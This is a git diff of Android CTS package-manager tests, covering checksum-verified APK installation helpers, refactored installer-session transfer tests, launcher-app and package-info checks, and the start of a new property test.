+                installApkWithChecksums(TEST_FIXED_APK, apkName, checksumsName, checksums));
+    }
+
+    private Intent installApkWithChecksums(String apk, String apkName,
+            String checksumsName, Checksum[] checksums) throws Exception {
+        return installApkWithChecksums(apk, apkName, checksumsName, checksums, NO_SIGNATURE);
+    }
+
+    private Intent installApkWithChecksums(String apk, String apkName,
+            String checksumsName, Checksum[] checksums, byte[] signature) throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+            writeFileToSession(session, apkName, apk);
+            session.setChecksums(checksumsName, Arrays.asList(checksums), signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            return receiver.getResult();
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private void installApkWithChecksumsIncrementally(final String inPath) throws Exception {
+        installApkWithChecksumsIncrementally(inPath, TEST_FIXED_APK, TEST_FIXED_APK_DIGESTS,
+                NO_SIGNATURE);
+    }
+
+    private void installApkWithChecksumsIncrementally(final String inPath, final String apk,
+            final Checksum[] checksums, final byte[] signature) throws Exception {
+        getUiAutomation().adoptShellPermissionIdentity();
+        try {
+            final PackageInstaller installer = getPackageInstaller();
+            final SessionParams params = new SessionParams(SessionParams.MODE_FULL_INSTALL);
+            params.setDataLoaderParams(DataLoaderParams.forIncremental(new ComponentName("android",
+                    PackageManagerShellCommandDataLoader.class.getName()), ""));
+
+            final int sessionId = installer.createSession(params);
+            Session session = installer.openSession(sessionId);
+
+            final File file = new File(inPath);
+            final String name = file.getName();
+            final long size = file.length();
+            final Metadata metadata = Metadata.forLocalFile(inPath);
+
+            session.addFile(LOCATION_DATA_APP, name, size, metadata.toByteArray(), null);
+            session.setChecksums(name, Arrays.asList(checksums), signature);
+
+            CommitIntentReceiver receiver = new CommitIntentReceiver();
+            session.commit(receiver.getIntentSender());
+            CommitIntentReceiver.checkSuccess(receiver.getResult());
+        } finally {
+            getUiAutomation().dropShellPermissionIdentity();
+        }
+    }
+
+    private static String readFullStream(InputStream inputStream) throws IOException {
+        ByteArrayOutputStream result = new ByteArrayOutputStream();
+        writeFullStream(inputStream, result, -1);
+        return result.toString("UTF-8");
+    }
+
+    private static void writeFullStream(InputStream inputStream, OutputStream outputStream,
+            long expected)
+            throws IOException {
+        byte[] buffer = new byte[1024];
+        long total = 0;
+        int length;
+        while ((length = inputStream.read(buffer)) != -1) {
+            outputStream.write(buffer, 0, length);
+            total += length;
+        }
+        if (expected > 0) {
+            Assert.assertEquals(expected, total);
+        }
+    }
+
+    private static String executeShellCommand(String command) throws IOException {
+        final ParcelFileDescriptor stdout = getUiAutomation().executeShellCommand(command);
+        try (InputStream inputStream = new ParcelFileDescriptor.AutoCloseInputStream(stdout)) {
+            return readFullStream(inputStream);
+        }
+    }
+
+    private static String createApkPath(String baseName) {
+        return TEST_APK_PATH + baseName;
+    }
+
+    private void installPackage(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        Assert.assertEquals("Success\n", executeShellCommand(
+                "pm install -t -g " + file.getPath()));
+    }
+
+    private void installPackageIncrementally(String baseName) throws IOException {
+        File file = new File(createApkPath(baseName));
+        Assert.assertEquals("Success\n", executeShellCommand(
+                "pm install-incremental -t -g " + file.getPath()));
+    }
+
+    private void installSplits(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        Assert.assertEquals("Success\n",
+                executeShellCommand("pm install -t -g " + String.join(" ", splits)));
+    }
+
+    private void installSplitsIncrementally(String[] baseNames) throws IOException {
+        String[] splits = Arrays.stream(baseNames).map(
+                baseName -> createApkPath(baseName)).toArray(String[]::new);
+        Assert.assertEquals("Success\n",
+                executeShellCommand("pm install-incremental -t -g " + String.join(" ", splits)));
+    }
+
+    private static void writeFileToSession(PackageInstaller.Session session, String name,
+            String apk) throws IOException {
+        File file = new File(createApkPath(apk));
+        try (OutputStream os = session.openWrite(name, 0, file.length());
+             InputStream is = new FileInputStream(file)) {
+            writeFullStream(is, os, file.length());
+        }
+    }
+
+    private String uninstallPackageSilently(String packageName) throws IOException {
+        return executeShellCommand("pm uninstall " + packageName);
+    }
+
+    private boolean isAppInstalled(String packageName) throws IOException {
+        final String commandResult = executeShellCommand("pm list packages");
+        final int prefixLength = "package:".length();
+        return Arrays.stream(commandResult.split("\\r?\\n"))
+                .anyMatch(line -> line.substring(prefixLength).equals(packageName));
+    }
+
+    @Nonnull
+    private static String bytesToHexString(byte[] bytes) {
+        return HexDump.toHexString(bytes, 0, bytes.length, /*upperCase=*/ false);
+    }
+
+    @Nonnull
+    private static byte[] hexStringToBytes(String hexString) {
+        return HexDump.hexStringToByteArray(hexString);
+    }
+
+    private boolean checkIncrementalDeliveryFeature() {
+        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_INCREMENTAL_DELIVERY);
+    }
+
+    private byte[] readSignature() throws IOException {
+        return readSignature(TEST_FIXED_APK_DIGESTS_SIGNATURE);
+    }
+
+    private byte[] readSignature(String file) throws IOException {
+        return Files.readAllBytes(Paths.get(createApkPath(file)));
+    }
+
+    private Certificate readCertificate() throws Exception {
+        try (InputStream is = new FileInputStream(createApkPath(TEST_CERTIFICATE))) {
+            CertificateFactory certFactory = CertificateFactory.getInstance("X.509");
+            return certFactory.generateCertificate(is);
+        }
+    }
+
+    private Certificate getInstallerCertificate() throws Exception {
+        PackageManager pm = getPackageManager();
+        PackageInfo installerPackageInfo = pm.getPackageInfo(CTS_PACKAGE_NAME,
+                GET_SIGNING_CERTIFICATES);
+        final List<Certificate> signatures = convertSignaturesToCertificates(
+                installerPackageInfo.signingInfo.getApkContentsSigners());
+        return signatures.get(0);
+    }
+
+    private void checkStoredChecksums(Checksum[] checksums, String fileName) throws Exception {
+        ArrayList<Checksum> storedChecksumsList = new ArrayList<>();
+        try (InputStream is = new FileInputStream(createApkPath(fileName));
+             DataInputStream dis = new DataInputStream(is)) {
+            for (int i = 0; i < 100; ++i) {
+                try {
+                    storedChecksumsList.add(Checksum.readFromStream(dis));
+                } catch (EOFException e) {
+                    break;
+                }
+            }
+        }
+        final Checksum[] storedChecksums = storedChecksumsList.toArray(
+                new Checksum[storedChecksumsList.size()]);
+
+        final String message = fileName + " needs to be updated: ";
+        Assert.assertEquals(message, storedChecksums.length, checksums.length);
+        for (int i = 0, size = storedChecksums.length; i < size; ++i) {
+            Assert.assertEquals(message, storedChecksums[i].getType(), checksums[i].getType());
+            Assert.assertArrayEquals(message, storedChecksums[i].getValue(),
+                    checksums[i].getValue());
+        }
+    }
+
+    private static class LocalListener implements PackageManager.OnChecksumsReadyListener {
+        private final LinkedBlockingQueue<ApkChecksum[]> mResult = new LinkedBlockingQueue<>();
+
+        @Override
+        public void onChecksumsReady(@NonNull List<ApkChecksum> checksumsList) {
+            ApkChecksum[] checksums = checksumsList.toArray(new ApkChecksum[checksumsList.size()]);
+            Arrays.sort(checksums, (ApkChecksum lhs, ApkChecksum rhs) ->  {
+                final String lhsSplit = lhs.getSplitName();
+                final String rhsSplit = rhs.getSplitName();
+                if (Objects.equals(lhsSplit, rhsSplit)) {
+                    return Integer.signum(lhs.getType() - rhs.getType());
+                }
+                if (lhsSplit == null) {
+                    return -1;
+                }
+                if (rhsSplit == null) {
+                    return +1;
+                }
+                return lhsSplit.compareTo(rhsSplit);
+            });
+            mResult.offer(checksums);
+        }
+
+        public ApkChecksum[] getResult() {
+            try {
+                return mResult.poll(5, TimeUnit.SECONDS);
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+    }
+
+    private static class CommitIntentReceiver {
+        private final LinkedBlockingQueue<Intent> mResult = new LinkedBlockingQueue<>();
+
+        private IIntentSender.Stub mLocalSender = new IIntentSender.Stub() {
+            @Override
+            public void send(int code, Intent intent, String resolvedType, IBinder allowlistToken,
+                    IIntentReceiver finishedReceiver, String requiredPermission, Bundle options) {
+                try {
+                    mResult.offer(intent, 5, TimeUnit.SECONDS);
+                } catch (InterruptedException e) {
+                    throw new RuntimeException(e);
+                }
+            }
+        };
+
+        public IntentSender getIntentSender() {
+            return new IntentSender((IIntentSender) mLocalSender);
+        }
+
+        public Intent getResult() {
+            try {
+                return mResult.take();
+            } catch (InterruptedException e) {
+                throw new RuntimeException(e);
+            }
+        }
+
+        public static void checkSuccess(Intent result) {
+            final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                    PackageInstaller.STATUS_FAILURE);
+            assertEquals(status, PackageInstaller.STATUS_SUCCESS,
+                    result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE) + " OR "
+                            + result.getExtras().get(Intent.EXTRA_INTENT));
+        }
+
+        public static void checkFailure(Intent result, int expectedStatus,
+                String expectedStatusMessage) {
+            final int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
+                    PackageInstaller.STATUS_FAILURE);
+            assertEquals(status, expectedStatus);
+            assertEquals(result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE),
+                    expectedStatusMessage);
+        }
+
+        public static void checkFailure(Intent result, String expectedStatusMessage) {
+            checkFailure(result, PackageInstaller.STATUS_FAILURE, expectedStatusMessage);
+        }
+    }
+}
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
index 46566a0..d7af7a8 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionParamsUnitTest.java
@@ -39,6 +39,7 @@
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageInstaller.SessionInfo;
 import android.content.pm.PackageInstaller.SessionParams;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.graphics.Bitmap;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
@@ -46,8 +47,7 @@
 
 import androidx.test.InstrumentationRegistry;
 
-import org.junit.After;
-import org.junit.Before;
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.Parameterized;
@@ -63,6 +63,9 @@
     private static final String LOG_TAG = InstallSessionParamsUnitTest.class.getSimpleName();
     private static Optional UNSET = new Optional(false, null);
 
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     @Parameterized.Parameter(0)
     public Optional<Integer> mode;
     @Parameterized.Parameter(1)
@@ -93,8 +96,6 @@
             .getPackageManager()
             .getPackageInstaller();
 
-    private int mSessionId = -1;
-
     /**
      * Generate test-parameters where all params are the same, but one param cycles through all
      * values.
@@ -209,21 +210,6 @@
         return null;
     }
 
-    @Before
-    public void resetSessionId() {
-        mSessionId = 1;
-    }
-
-    @After
-    public void abandonSession() {
-        if (mSessionId != -1) {
-            try {
-                mInstaller.abandonSession(mSessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
-    }
-
     @Test
     public void checkSessionParams() throws Exception {
         Log.i(LOG_TAG, "mode=" + mode + " installLocation=" + installLocation + " size=" + size
@@ -244,8 +230,9 @@
         installReason.ifPresent(params::setInstallReason);
         installScenario.ifPresent(params::setInstallScenario);
 
+        int sessionId;
         try {
-            mSessionId = mInstaller.createSession(params);
+            sessionId = mInstaller.createSession(params);
 
             if (expectFailure) {
                 fail("Creating session did not fail");
@@ -258,7 +245,7 @@
             throw e;
         }
 
-        SessionInfo info = getSessionInfo(mSessionId);
+        SessionInfo info = getSessionInfo(sessionId);
 
         assertThat(info.getMode()).isEqualTo(mode.get());
         installLocation.ifPresent(i -> assertThat(info.getInstallLocation()).isEqualTo(i));
diff --git a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
index 51752bc..57c7907 100644
--- a/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/InstallSessionTransferTest.java
@@ -18,8 +18,14 @@
 
 import static android.content.pm.PackageInstaller.SessionParams.MODE_FULL_INSTALL;
 
+import static com.android.compatibility.common.util.MatcherUtils.assertThrows;
+import static com.android.compatibility.common.util.MatcherUtils.hasMessageThat;
+import static com.android.compatibility.common.util.MatcherUtils.instanceOf;
+
 import static com.google.common.truth.Truth.assertThat;
 
+import static org.hamcrest.CoreMatchers.containsString;
+import static org.hamcrest.CoreMatchers.notNullValue;
 import static org.junit.Assert.fail;
 import static org.junit.Assume.assumeNotNull;
 
@@ -32,20 +38,19 @@
 import android.content.pm.PackageInstaller.SessionParams;
 import android.content.pm.PackageManager;
 import android.content.pm.ResolveInfo;
+import android.content.pm.cts.util.AbandonAllPackageSessionsRule;
 import android.net.Uri;
 import android.platform.test.annotations.AppModeFull;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
-import com.android.internal.util.FunctionalUtils;
-
 import libcore.io.Streams;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
-import java.io.File;
 import java.io.FileInputStream;
 import java.io.IOException;
 import java.io.InputStream;
@@ -55,6 +60,10 @@
 @RunWith(AndroidJUnit4.class)
 @AppModeFull // TODO(Instant) Figure out which APIs should work.
 public class InstallSessionTransferTest {
+
+    @Rule
+    public AbandonAllPackageSessionsRule mAbandonSessionsRule = new AbandonAllPackageSessionsRule();
+
     /**
      * Get the sessionInfo if this package owns the session.
      *
@@ -83,7 +92,7 @@
      */
     private static String getPackageInstallerPackageName() throws Exception {
         Intent installerIntent = new Intent(Intent.ACTION_INSTALL_PACKAGE);
-        installerIntent.setDataAndType(Uri.fromFile(new File("foo.apk")),
+        installerIntent.setDataAndType(Uri.parse("content://com.example/"),
                 "application/vnd.android.package-archive");
 
         ResolveInfo installer = InstrumentationRegistry.getInstrumentation().getTargetContext()
@@ -111,6 +120,21 @@
         }
     }
 
+    /**
+     * Create a new installer session.
+     *
+     * @return The new session
+     */
+    private Session createSession() throws Exception {
+        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
+
+        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
+
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        return installer.openSession(sessionId);
+    }
+
     @Test
     public void transferSession() throws Exception {
         Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
@@ -120,152 +144,170 @@
 
         PackageInstaller installer = context.getPackageManager().getPackageInstaller();
 
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
+        int sessionId = installer.createSession(params);
+        Session session = installer.openSession(sessionId);
 
-            InputStream danglingReadStream = session.openRead("CtsContentTestCases");
+        writeApk(session, "CtsContentTestCases");
 
-            SessionInfo info = getSessionInfo(installer, sessionId);
-            assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
-            assertThat(info.isSealed()).isFalse();
+        InputStream danglingReadStream = session.openRead("CtsContentTestCases");
 
-            // This transfers the session to the new owner
-            session.transfer(packageInstallerPackage);
-            assertThat(getSessionInfo(installer, sessionId)).isNull();
+        SessionInfo info = getSessionInfo(installer, sessionId);
+        assertThat(info.getInstallerPackageName()).isEqualTo(context.getPackageName());
+        assertThat(info.isSealed()).isFalse();
 
-            try {
-                // Session is transferred, all operations on the session are invalid
-                session.getNames();
-                fail();
-            } catch (SecurityException e) {
-                // expected
-            }
+        // This transfers the session to the new owner
+        session.transfer(packageInstallerPackage);
+        assertThat(getSessionInfo(installer, sessionId)).isNull();
 
-            // Even when the session is transferred read streams still work and contain the same
-            // content that we initially wrote into it.
-            try (InputStream originalContent = new FileInputStream(
-                    "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
-                try (InputStream sessionContent = danglingReadStream) {
-                    byte[] buffer = new byte[4096];
-                    while (true) {
-                        int numReadOriginal = originalContent.read(buffer);
-                        int numReadSession = sessionContent.read(buffer);
+        try {
+            // Session is transferred, all operations on the session are invalid
+            session.getNames();
+            fail();
+        } catch (SecurityException e) {
+            // expected
+        }
 
-                        assertThat(numReadOriginal).isEqualTo(numReadSession);
-                        if (numReadOriginal == -1) {
-                            break;
-                        }
+        // Even when the session is transferred read streams still work and contain the same content
+        // that we initially wrote into it.
+        try (InputStream originalContent = new FileInputStream(
+                "/data/local/tmp/cts/content/CtsContentTestCases.apk")) {
+            try (InputStream sessionContent = danglingReadStream) {
+                byte[] buffer = new byte[4096];
+                while (true) {
+                    int numReadOriginal = originalContent.read(buffer);
+                    int numReadSession = sessionContent.read(buffer);
+
+                    assertThat(numReadOriginal).isEqualTo(numReadSession);
+                    if (numReadOriginal == -1) {
+                        break;
                     }
                 }
             }
+        }
 
-            danglingReadStream.close();
-        });
+        danglingReadStream.close();
     }
 
     @Test
     public void transferToInvalidNewOwner() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
 
-            try {
-                // This will fail as the name of the new owner is invalid
-                session.transfer("android.content.cts.invalid.package");
-                fail();
-            } catch (PackageManager.NameNotFoundException e) {
-                // Expected
-            }
-        });
+        try {
+            // This will fail as the name of the new owner is invalid
+            session.transfer("android.content.cts.invalid.package");
+            fail();
+        } catch (PackageManager.NameNotFoundException e) {
+            // Expected
+        }
+
+        session.abandon();
     }
 
     @Test
     public void transferToOwnerWithoutInstallPermission() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            writeApk(session, "CtsContentTestCases");
+        Session session = createSession();
+        writeApk(session, "CtsContentTestCases");
 
-            try {
-                // This will fail as the current package does not own the install-packages
-                // permission
-                session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
-                        .getPackageName());
-                fail();
-            } catch (SecurityException e) {
-                // Expected
-            }
-        });
+        try {
+            // This will fail as the current package does not own the install-packages permission
+            session.transfer(InstrumentationRegistry.getInstrumentation().getTargetContext()
+                    .getPackageName());
+            fail();
+        } catch (SecurityException e) {
+            // Expected
+        }
+
+        session.abandon();
     }
 
     @Test
     public void transferWithOpenWrite() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            session.openWrite("danglingWriteStream", 0, 1);
-            try {
-                // This will fail as the danglingWriteStream is still open
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (SecurityException e) {
-                // Expected
-            }
-        });
+        session.openWrite("danglingWriteStream", 0, 1);
+
+        // This will fail as the danglingWriteStream is still open
+        assertThrows(instanceOf(IllegalStateException.class,
+                hasMessageThat(containsString("Package is not valid"))),
+                () -> session.transfer(packageInstallerPackage));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toNullPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(null));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toEmptyStringPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(IllegalArgumentException.class, notNullValue()),
+                () -> session.transfer(""));
+
+        session.abandon();
+    }
+
+    @Test
+    public void transfer_toInvalidPackageName_shouldFail() throws Exception {
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
+
+        assertThrows(instanceOf(PackageManager.NameNotFoundException.class, notNullValue()),
+                () -> session.transfer("../" + packageInstallerPackage));
+
+        session.abandon();
     }
 
     @Test
     public void transferSessionWithInvalidApk() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            try (OutputStream out = session.openWrite("invalid", 0, 2)) {
-                out.write(new byte[]{23, 42});
-                out.flush();
-            }
+        try (OutputStream out = session.openWrite("invalid", 0, 2)) {
+            out.write(new byte[]{23, 42});
+            out.flush();
+        }
 
-            try {
-                // This will fail as the content of 'invalid' is not a valid APK
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (IllegalArgumentException e) {
-                // expected
-            }
-        });
+        // This will pass even the content of 'invalid' is not a valid APK
+        session.transfer(packageInstallerPackage);
+
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 
     @Test
     public void transferWithApkFromWrongPackage() throws Exception {
-        openAndCloseSession((sessionId, session) -> {
-            String packageInstallerPackage = getPackageInstallerPackageName();
-            assumeNotNull(packageInstallerPackage);
+        Session session = createSession();
+        String packageInstallerPackage = getPackageInstallerPackageName();
+        assumeNotNull(packageInstallerPackage);
 
-            writeApk(session, "CtsContentEmptyTestApp");
+        writeApk(session, "CtsContentLongPackageNameTestApp");
 
-            try {
-                // This will fail as the session contains the a apk from the wrong package
-                session.transfer(packageInstallerPackage);
-                fail();
-            } catch (SecurityException e) {
-                // expected
-            }
-        });
-    }
+        // This will pass even package name is too long
+        session.transfer(packageInstallerPackage);
 
-    private void openAndCloseSession(FunctionalUtils.ThrowingBiConsumer<Integer, Session> block)
-            throws IOException {
-        Context context = InstrumentationRegistry.getInstrumentation().getTargetContext();
-
-        PackageInstaller installer = context.getPackageManager().getPackageInstaller();
-
-        SessionParams params = new SessionParams(MODE_FULL_INSTALL);
-        int sessionId = installer.createSession(params);
-        try {
-            block.accept(sessionId, installer.openSession(sessionId));
-        } finally {
-            try {
-                installer.abandonSession(sessionId);
-            } catch (SecurityException ignored) {
-            }
-        }
+        // The session transfers successfully. And then, it doesn't belong to the this test.
+        assertThrows(instanceOf(SecurityException.class,
+                hasMessageThat(containsString("Session does not belong to uid"))),
+                () -> session.abandon());
     }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
index 9635216..ee65a15 100644
--- a/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/LauncherAppsTest.java
@@ -16,23 +16,31 @@
 
 package android.content.pm.cts;
 
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.getDefaultLauncher;
+import static com.android.server.pm.shortcutmanagertest.ShortcutManagerTestUtils.setDefaultLauncher;
+
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertNull;
 import static org.junit.Assert.assertTrue;
 
+import android.app.Instrumentation;
 import android.app.PendingIntent;
 import android.app.usage.UsageStatsManager;
 import android.content.ComponentName;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.LauncherActivityInfo;
 import android.content.pm.LauncherApps;
 import android.content.pm.PackageManager;
 import android.os.Process;
 import android.os.UserHandle;
 import android.platform.test.annotations.AppModeFull;
 
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
 import com.android.compatibility.common.util.SystemUtil;
 
 import org.junit.After;
@@ -42,21 +50,18 @@
 import org.junit.runner.RunWith;
 
 import java.time.Duration;
-import java.util.ArrayList;
 import java.util.concurrent.TimeUnit;
 
-import androidx.test.InstrumentationRegistry;
-import androidx.test.runner.AndroidJUnit4;
-
 /** Some tests in this class are ignored until b/126946674 is fixed. */
 @RunWith(AndroidJUnit4.class)
 public class LauncherAppsTest {
 
     private Context mContext;
+    private Instrumentation mInstrumentation;
     private LauncherApps mLauncherApps;
     private UsageStatsManager mUsageStatsManager;
-    private ComponentName mDefaultHome;
-    private ComponentName mTestHome;
+    private String mDefaultHome;
+    private String mTestHome = PACKAGE_NAME;
 
     private static final String PACKAGE_NAME = "android.content.cts";
     private static final String FULL_CLASS_NAME = "android.content.pm.cts.LauncherMockActivity";
@@ -77,13 +82,21 @@
     @Before
     public void setUp() throws Exception {
         mContext = InstrumentationRegistry.getTargetContext();
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
         mLauncherApps = (LauncherApps) mContext.getSystemService(Context.LAUNCHER_APPS_SERVICE);
         mUsageStatsManager = (UsageStatsManager) mContext.getSystemService(
                 Context.USAGE_STATS_SERVICE);
 
-        mDefaultHome = mContext.getPackageManager().getHomeActivities(new ArrayList<>());
-        mTestHome = new ComponentName(PACKAGE_NAME, FULL_CLASS_NAME);
-        setHomeActivity(mTestHome);
+        mDefaultHome = getDefaultLauncher(mInstrumentation);
+        setDefaultLauncher(mInstrumentation, mTestHome);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        unregisterObserver(DEFAULT_OBSERVER_ID);
+        if (mDefaultHome != null) {
+            setDefaultLauncher(mInstrumentation, mDefaultHome);
+        }
     }
 
     @Test
@@ -209,12 +222,15 @@
         assertFalse(mLauncherApps.isActivityEnabled(FULL_DISABLED_COMPONENT_NAME, USER_HANDLE));
     }
 
-    @After
-    public void tearDown() throws Exception {
-        unregisterObserver(DEFAULT_OBSERVER_ID);
-        if (mDefaultHome != null) {
-            setHomeActivity(mDefaultHome);
-        }
+    @Test
+    @AppModeFull(reason = "Need special permission")
+    public void testGetActivityInfo() {
+        LauncherActivityInfo info = mLauncherApps.resolveActivity(
+                new Intent().setComponent(FULL_COMPONENT_NAME), USER_HANDLE);
+        assertNotNull(info);
+        assertNotNull(info.getActivityInfo());
+        assertEquals(info.getName(), info.getActivityInfo().name);
+        assertEquals(info.getComponentName().getPackageName(), info.getActivityInfo().packageName);
     }
 
     private void registerDefaultObserver() {
@@ -226,16 +242,11 @@
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.registerAppUsageLimitObserver(
                         observerId, SETTINGS_PACKAGE_GROUP, timeLimit, timeUsed,
-                        PendingIntent.getActivity(mContext, -1, new Intent(), 0)));
+                        PendingIntent.getActivity(mContext, -1, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED)));
     }
 
     private void unregisterObserver(int observerId) {
         SystemUtil.runWithShellPermissionIdentity(() ->
                 mUsageStatsManager.unregisterAppUsageLimitObserver(observerId));
     }
-
-    private void setHomeActivity(ComponentName component) throws Exception {
-        SystemUtil.runShellCommand("cmd package set-home-activity --user "
-                + USER_HANDLE.getIdentifier() + " " + component.flattenToString());
-    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
index 7a524c4..facc981 100644
--- a/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
+++ b/tests/tests/content/src/android/content/pm/cts/PackageInfoTest.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertArrayEquals;
 
 import android.content.pm.ApplicationInfo;
+import android.content.pm.Attribution;
 import android.content.pm.ComponentInfo;
 import android.content.pm.ConfigurationInfo;
 import android.content.pm.PackageInfo;
@@ -46,8 +47,8 @@
                 | PackageManager.GET_GIDS | PackageManager.GET_CONFIGURATIONS
                 | PackageManager.GET_INSTRUMENTATION | PackageManager.GET_PERMISSIONS
                 | PackageManager.GET_PROVIDERS | PackageManager.GET_RECEIVERS
-                | PackageManager.GET_SERVICES | PackageManager.GET_SIGNATURES
-                | PackageManager.GET_UNINSTALLED_PACKAGES);
+                | PackageManager.GET_SERVICES | PackageManager.GET_ATTRIBUTIONS
+                | PackageManager.GET_SIGNATURES | PackageManager.GET_UNINSTALLED_PACKAGES);
     }
 
     public void testPackageInfoOp() {
@@ -100,6 +101,7 @@
         assertTrue(Arrays.equals(expected.requestedPermissions, actual.requestedPermissions));
         checkSignatureInfo(expected.signatures, actual.signatures);
         checkConfigInfo(expected.configPreferences, actual.configPreferences);
+        checkAttributionInfo(expected.attributions, actual.attributions);
     }
 
     private void checkAppInfo(ApplicationInfo expected, ApplicationInfo actual) {
@@ -163,4 +165,19 @@
             assertEquals(0, actual.length);
         }
     }
+
+    private void checkAttributionInfo(Attribution[] expected, Attribution[] actual) {
+        if (expected != null && expected.length > 0) {
+            assertNotNull(actual);
+            assertEquals(expected.length, actual.length);
+            for (int i = 0; i < expected.length; i++) {
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+                assertEquals(actual[i].getTag(), expected[i].getTag());
+            }
+        } else if (expected == null) {
+            assertNull(actual);
+        } else {
+            assertEquals(0, actual.length);
+        }
+    }
 }
diff --git a/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
new file mode 100644
index 0000000..8123ffe
--- /dev/null
+++ b/tests/tests/content/src/android/content/pm/cts/PackageManagerGetPropertyTest.java
@@ -0,0 +1,480 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
